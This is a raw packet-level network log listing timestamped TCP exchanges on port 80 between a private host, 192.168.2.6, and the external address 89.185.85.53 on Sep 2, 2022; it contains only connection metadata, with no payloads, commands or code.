Sep 2, 2022 14:03:31.716428995 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716438055 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716451883 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716461897 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716475964 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716485977 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716495991 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716509104 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716521978 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716533899 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716552973 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716557980 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716569901 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716581106 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716594934 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716607094 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716615915 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716630936 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716640949 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716653109 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716665030 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716675997 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716691971 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716698885 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716712952 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716722012 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716734886 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716746092 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716759920 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716769934 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716782093 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716794968 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716804981 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716820002 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716830015 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716841936 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716856003 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716867924 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716876984 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716892004 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716907978 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716916084 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716926098 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716938019 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716950893 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716959953 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716973066 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.716984034 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.716995001 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717006922 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717017889 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717030048 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717040062 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717052937 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717066050 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717076063 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717098951 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717112064 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717116117 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717122078 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717135906 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717144012 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717156887 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717165947 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717184067 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717189074 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717200994 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717211962 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717231989 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717232943 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717247009 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717256069 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717268944 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717279911 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717291117 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717303991 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717317104 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717328072 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717343092 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717353106 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717376947 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717379093 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717401981 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717403889 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717421055 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717428923 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717437983 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717453957 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717464924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717478991 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717489958 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717503071 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717519999 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717525005 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717538118 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717546940 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717561007 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717570066 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717586040 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717592001 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717603922 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717617035 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717627048 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717641115 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717655897 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717664957 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717678070 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717689037 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717711926 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717714071 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717731953 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717737913 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717762947 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717771053 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717781067 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717786074 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717797995 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717813969 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717820883 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717839003 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717849970 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717863083 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717874050 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717886925 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717900038 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717909098 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717925072 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717931986 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717953920 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717955112 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717967987 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.717978001 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.717993975 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.718003988 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.718025923 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.718045950 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.718046904 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.718050957 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.718069077 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.718070030 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.718087912 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.718108892 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.735075951 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.735265017 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.735949993 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.735986948 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.736010075 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.736056089 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.736063004 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.736079931 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.736088991 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.736110926 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.736134052 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.736139059 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.736150026 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.736155987 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.736179113 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.736181021 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.736202002 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.736213923 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.736392975 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.736417055 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.736437082 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.736447096 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.736464977 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.736479998 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.737004042 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.737037897 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.737061024 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.737076044 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.737099886 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.737567902 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.737596989 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.737618923 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.737638950 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.737639904 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.737660885 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.737670898 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.737683058 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.737705946 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.737720966 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.741353989 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.741400003 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.741420984 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.741444111 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.741492987 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.741520882 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.742271900 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.742310047 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.742333889 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.742335081 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.742352009 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.742358923 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.742369890 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.742383003 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.742393970 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.742405891 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.742418051 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.742430925 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.742440939 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.742470980 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.743304968 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.743341923 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.743372917 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.743385077 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.743390083 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.743412018 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.743419886 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.743436098 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.743453979 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.743458986 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.743468046 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.743482113 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.743494987 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.743504047 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.743515015 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.743527889 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.743536949 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.743561983 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.744434118 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.744467974 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.744492054 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.744494915 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.744510889 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.744514942 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.744524956 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.744538069 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.744549990 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.744570971 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.744632006 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.744657040 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.744676113 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.744679928 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.744690895 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.744705915 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.744714022 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.744739056 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.744746923 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.744781971 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.745466948 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.745500088 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.745520115 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.745528936 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.745542049 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.745554924 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.745560884 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.745598078 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.745623112 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.745659113 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.745707989 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.745728970 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.745745897 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.745748997 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.745762110 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.745773077 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.745783091 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.745810032 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.745910883 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.745938063 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.745953083 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.745973110 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.746495962 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.746526003 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.746556044 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.746606112 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.746630907 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.746634960 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.746642113 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.746654987 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.746669054 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.746679068 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.746690989 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.746704102 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.746715069 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.746738911 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.746942997 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.746983051 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.747000933 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.747006893 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.747016907 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.747042894 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.747711897 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.747742891 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.747786045 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.747800112 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748022079 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748063087 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748075962 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748099089 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748102903 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748138905 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748147964 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748183966 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748269081 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748295069 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748312950 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748318911 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748330116 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748356104 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748572111 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748622894 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748625040 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748660088 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748667002 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748703957 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748706102 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748743057 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748745918 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748783112 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748867035 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748898029 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748912096 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748930931 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.748939991 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748964071 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.748977900 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.749000072 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.749659061 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.749692917 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.749716043 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.749728918 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.749737978 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.749741077 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.749754906 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.749763012 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.749777079 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.749788046 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.749803066 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.749813080 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.749825954 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.749847889 CEST	49827	80	192.168.2.6	89.185.85.53
Sep 2, 2022 14:03:31.750142097 CEST	80	49827	89.185.85.53	192.168.2.6
Sep 2, 2022 14:03:31.750183105 CEST	80	49827	89.185.85.53	192.168.2.6
